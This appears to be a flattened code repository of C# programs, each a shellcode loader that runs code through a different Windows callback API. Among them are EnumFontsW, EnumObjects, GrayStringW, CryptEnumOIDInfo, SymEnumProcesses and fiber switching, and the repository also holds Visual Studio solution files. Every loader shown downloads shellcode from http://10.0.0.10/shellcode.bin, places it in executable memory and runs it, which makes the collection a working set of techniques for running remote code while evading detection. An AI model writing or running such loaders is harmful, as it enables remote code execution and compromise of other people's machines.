EnumFontsW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | IntPtr hDevContext = GetDC(IntPtr.Zero); 22 | 23 | EnumFontsW(hDevContext, IntPtr.Zero, addr, IntPtr.Zero); 24 | 25 | } 26 | 27 | [DllImport("kernel32.dll", SetLastError = true)] 28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 29 | 30 | [DllImport("user32.dll")] 31 | static extern IntPtr GetDC(IntPtr hWnd); 32 | 33 | [DllImport("gdi32.dll")] 34 | static extern int EnumFontsW(IntPtr hdc, IntPtr lpLogfont, IntPtr lpProc, IntPtr lParam); 35 | 36 | } 37 | } 38 | 39 | -------------------------------------------------------------------------------- /EnumObjects/EnumObjects/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumObjects 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | IntPtr hDevContext = GetDC(IntPtr.Zero); 22 | 23 | EnumObjects(hDevContext, 0x2, addr, IntPtr.Zero); 24 | 25 | } 26 | 27 | [DllImport("kernel32.dll", SetLastError = true)] 28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 29 | 30 | [DllImport("user32.dll")] 31 | static extern IntPtr GetDC(IntPtr hWnd); 32 | 33 | [DllImport("gdi32.dll")] 34 | static extern int EnumObjects(IntPtr hdc, int nType, IntPtr lpFunc, IntPtr lParam); 35 | 36 | 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /EnumFontFamiliesW/EnumFontFamiliesW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumFontFamiliesW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | IntPtr hDevContext = GetDC(IntPtr.Zero); 22 | 23 | EnumFontFamiliesW(hDevContext, IntPtr.Zero, addr, IntPtr.Zero); 24 | 25 | } 26 | 27 | [DllImport("kernel32.dll", SetLastError = true)] 28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 29 | 30 | [DllImport("user32.dll")] 31 | static extern IntPtr GetDC(IntPtr hWnd); 32 | 33 | [DllImport("gdi32.dll")] 34 | static extern int EnumFontFamiliesW(IntPtr hdc, IntPtr lpLogfont, IntPtr lpProc, IntPtr lParam); 35 | 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /EnumerateLoadedModules/EnumerateLoadedModules/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumerateLoadedModules 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | IntPtr hProc = GetCurrentProcess(); 22 | 23 | EnumerateLoadedModules(hProc, addr, IntPtr.Zero); 24 | 25 | } 26 | 27 | [DllImport("kernel32.dll", SetLastError = true)] 28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 29 | 30 | [DllImport("kernel32.dll")] 31 | static extern IntPtr GetCurrentProcess(); 32 | 33 | [DllImport("dbghelp.dll")] 34 | static extern bool EnumerateLoadedModules(IntPtr hProcess, IntPtr EnumLoadedModulesCallback, IntPtr UserContext); 35 | } 36 | } 37 | 38 | -------------------------------------------------------------------------------- /EnumFontFamiliesExW/EnumFontFamiliesExW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace EnumFontFamiliesExW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | IntPtr hDevContext = GetDC(IntPtr.Zero); 22 | 23 | EnumFontFamiliesExW(hDevContext, IntPtr.Zero, addr, IntPtr.Zero, 0); 24 | 25 | } 26 | 27 | [DllImport("kernel32.dll", SetLastError = true)] 28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 29 | 30 | [DllImport("user32.dll")] 31 | static extern IntPtr GetDC(IntPtr hWnd); 32 | 33 | [DllImport("gdi32.dll")] 34 | static extern int EnumFontFamiliesExW(IntPtr hdc, IntPtr lpLodfont, IntPtr lpProc, IntPtr lParam, int dwFlags); 35 | 36 | 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /GrayStringW/GrayStringW/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace GrayStringW 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | IntPtr pDeviceContext = GetDC(IntPtr.Zero); 22 | 23 | GrayStringW(pDeviceContext, IntPtr.Zero, addr, IntPtr.Zero, 1, 1, 1, 1, 1); 24 | } 25 | 26 | [DllImport("kernel32.dll", SetLastError = true)] 27 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 28 | 29 | [DllImport("user32.dll")] 30 | static extern IntPtr GetDC(IntPtr hWnd); 31 | 32 | [DllImport("user32.dll")] 33 | static extern bool GrayStringW(IntPtr hDC, IntPtr hBrush, IntPtr lpOutputFunc, IntPtr lpData, int nCount, int X, int Y, int nWidth, int nHeight); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /VerifierEnumerateResource/VerifierEnumerateResource/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace VerifierEnumerateResource 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | IntPtr hProcess = GetCurrentProcess(); 22 | 23 | VerifierEnumerateResource(hProcess, 0, 0, addr, IntPtr.Zero); 24 | 25 | } 26 | 27 | [DllImport("kernel32.dll", SetLastError = true)] 28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 29 | 30 | [DllImport("kernel32.dll")] 31 | static extern IntPtr GetCurrentProcess(); 32 | 33 | [DllImport("verifier.dll")] 34 | static extern ulong VerifierEnumerateResource(IntPtr hProcess, ulong Flags, ulong ResourceType, IntPtr ResourceCallback, IntPtr EnumerationContext); 35 | } 36 | } 37 | 38 | -------------------------------------------------------------------------------- /CryptEnumOIDInfo/CryptEnumOIDInfo/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.CompilerServices; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace CryptEnumOIDInfo 10 | { 11 | internal class Program 12 | { 13 | static void Main(string[] args) 14 | { 15 | string url = "http://10.0.0.10/shellcode.bin"; 16 | System.Net.WebClient client = new System.Net.WebClient(); 17 | byte[] shellcode = client.DownloadData(url); 18 | 19 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x1000, 0x40); 20 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 21 | 22 | CryptEnumOIDInfo(null, null, IntPtr.Zero, addr); 23 | 24 | //WaitForSingleObject(addr, 0xFFFFFFFF); 25 | } 26 | 27 | [DllImport("kernel32.dll", SetLastError = true)] 28 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 29 | 30 | [DllImport("crypt32.dll", SetLastError = true)] 31 | public static extern IntPtr CryptEnumOIDInfo(String dwGroupId, String dwFlags, IntPtr pvArg, IntPtr pfnEnumOIDInfo); 32 | 33 | [DllImport("kernel32.dll", SetLastError = true)] 34 | static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /ConvertThreadToFiber/ConvertThreadToFiber/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace ConvertThreadToFiber 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | ConvertThreadToFiber(IntPtr.Zero); 15 | 16 | string url = "http://10.0.0.10/shellcode.bin"; 17 | System.Net.WebClient client = new System.Net.WebClient(); 18 | byte[] shellcode = client.DownloadData(url); 19 | 20 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 21 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 22 | 23 | IntPtr lpFiber = CreateFiber(shellcode.Length, addr, IntPtr.Zero); 24 | 25 | SwitchToFiber(lpFiber); 26 | } 27 | 28 | [DllImport("kernel32.dll")] 29 | static extern IntPtr ConvertThreadToFiber(IntPtr lpParameter); 30 | 31 | [DllImport("kernel32.dll", SetLastError = true)] 32 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 33 | 34 | 35 | [DllImport("kernel32.dll")] 36 | static extern IntPtr CreateFiber(int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter); 37 | 38 | [DllImport("kernel32.dll")] 39 | static extern void SwitchToFiber(IntPtr lpFiber); 40 | 41 | } 42 | } 43 | 44 | -------------------------------------------------------------------------------- /SymEnumProcesses/SymEnumProcesses/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SymEnumProcesses 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | IntPtr hProcess = GetCurrentProcess(); 22 | 23 | SymInitialize(hProcess, null, false); 24 | 25 | SymEnumProcesses(addr, IntPtr.Zero); 26 | 27 | } 28 | 29 | [DllImport("kernel32.dll", SetLastError = true)] 30 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 31 | 32 | [DllImport("kernel32.dll")] 33 | static extern IntPtr GetCurrentProcess(); 34 | 35 | [DllImport("dbghelp.dll")] 36 | static extern bool SymInitialize(IntPtr hProcess, String UserSearchPath, bool fInvadeProcess); 37 | 38 | [DllImport("dbghelp.dll")] 39 | static extern bool SymEnumProcesses(IntPtr EnumProcessesCallback, IntPtr UserContext); 40 | 41 | 42 | } 43 | } 44 | 45 | -------------------------------------------------------------------------------- /SysEnumSourceFiles/SysEnumSourceFiles/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SysEnumSourceFiles 9 | { 10 | internal class Program 11 | { 12 | static void Main(string[] args) 13 | { 14 | string url = "http://10.0.0.10/shellcode.bin"; 15 | System.Net.WebClient client = new System.Net.WebClient(); 16 | byte[] shellcode = client.DownloadData(url); 17 | 18 | IntPtr addr = VirtualAlloc(IntPtr.Zero, shellcode.Length, 0x3000, 0x40); 19 | Marshal.Copy(shellcode, 0, addr, shellcode.Length); 20 | 21 | IntPtr hProcess = GetCurrentProcess(); 22 | 23 | SymInitialize(hProcess, null, true); 24 | 25 | SymEnumSourceFiles(hProcess, 0, null, addr, IntPtr.Zero); 26 | } 27 | 28 | [DllImport("kernel32.dll", SetLastError = true)] 29 | static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect); 30 | 31 | [DllImport("kernel32.dll")] 32 | static extern IntPtr GetCurrentProcess(); 33 | 34 | [DllImport("dbghelp.dll")] 35 | static extern bool SymInitialize(IntPtr hProcess, String UserSearchPath, bool fInvadeProcess); 36 | 37 | [DllImport("dbghelp.dll")] 38 | static extern bool SymEnumSourceFiles(IntPtr hProcess, ulong ModBase, String Mask, IntPtr cbSrcFiles, IntPtr UserContext); 39 | } 40 | } 41 | 42 | -------------------------------------------------------------------------------- /LineDDA/LineDDA.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LineDDA", "LineDDA\LineDDA.csproj", "{5C806A79-393D-465A-A0F7-9456B0D31D39}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Debug|x64.ActiveCfg = Debug|x64 19 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Debug|x64.Build.0 = Debug|x64 20 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Release|x64.ActiveCfg = Release|x64 23 | {5C806A79-393D-465A-A0F7-9456B0D31D39}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {087F71A6-2230-4C17-B568-54A5539E7D49} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /SetTimer/SetTimer.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SetTimer", "SetTimer\SetTimer.csproj", "{E7C28702-F2CF-45DE-87E6-6C1497533769}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Debug|x64.ActiveCfg = Debug|x64 19 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Debug|x64.Build.0 = Debug|x64 20 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Release|x64.ActiveCfg = Release|x64 23 | {E7C28702-F2CF-45DE-87E6-6C1497533769}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {610FB576-6FF9-4BE7-B5A7-E6F0BF56CD0F} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /CopyFile2/CopyFile2.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CopyFile2", "CopyFile2\CopyFile2.csproj", "{53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Debug|x64.ActiveCfg = Debug|x64 19 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Debug|x64.Build.0 = Debug|x64 20 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Release|x64.ActiveCfg = Release|x64 23 | {53D5B1B0-6032-4A05-B32A-BBF70C51BBD6}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {CBCEF649-1BB4-4ECC-97F5-6C61E96E6812} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumFontsW/EnumFontsW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumFontsW", "EnumFontsW\EnumFontsW.csproj", "{FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Debug|x64.ActiveCfg = Debug|x64 19 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Debug|x64.Build.0 = Debug|x64 20 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Release|x64.ActiveCfg = Release|x64 23 | {FE40FAB9-ECDA-4EE6-B696-3D4D10FB830B}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4183982D-CE97-442D-9452-63C0273802E7} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumDirTree/EnumDirTree.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumDirTree", "EnumDirTree\EnumDirTree.csproj", "{73F67A0D-56BF-4A5D-9B72-52E3776E772D}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Debug|x64.ActiveCfg = Debug|x64 19 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Debug|x64.Build.0 = Debug|x64 20 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Release|x64.ActiveCfg = Release|x64 23 | {73F67A0D-56BF-4A5D-9B72-52E3776E772D}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {CE372C9E-A681-4B14-9490-D28882FC48DF} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumObjects/EnumObjects.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumObjects", "EnumObjects\EnumObjects.csproj", "{9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Debug|x64.ActiveCfg = Debug|x64 19 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Debug|x64.Build.0 = Debug|x64 20 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Release|x64.ActiveCfg = Release|x64 23 | {9C52A1F9-8D9B-4705-8019-7DA3CA1C2006}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {A6E71D20-AA8A-4F49-B700-6B62075E9FE1} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EnumWindows/EnumWindows.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EnumWindows", "EnumWindows\EnumWindows.csproj", "{AE92DFAF-D9FD-4B98-929F-90E50502DA78}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Debug|x64.ActiveCfg = Debug|x64 19 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Debug|x64.Build.0 = Debug|x64 20 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Release|Any CPU.ActiveCfg = Release|Any CPU 21 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Release|Any CPU.Build.0 = Release|Any CPU 22 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Release|x64.ActiveCfg = Release|x64 23 | {AE92DFAF-D9FD-4B98-929F-90E50502DA78}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {CEF550D5-0C7F-4468-9E5F-2F6FC8BDBD48} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /GrayStringW/GrayStringW.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33403.182 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GrayStringW", "GrayStringW\GrayStringW.csproj", 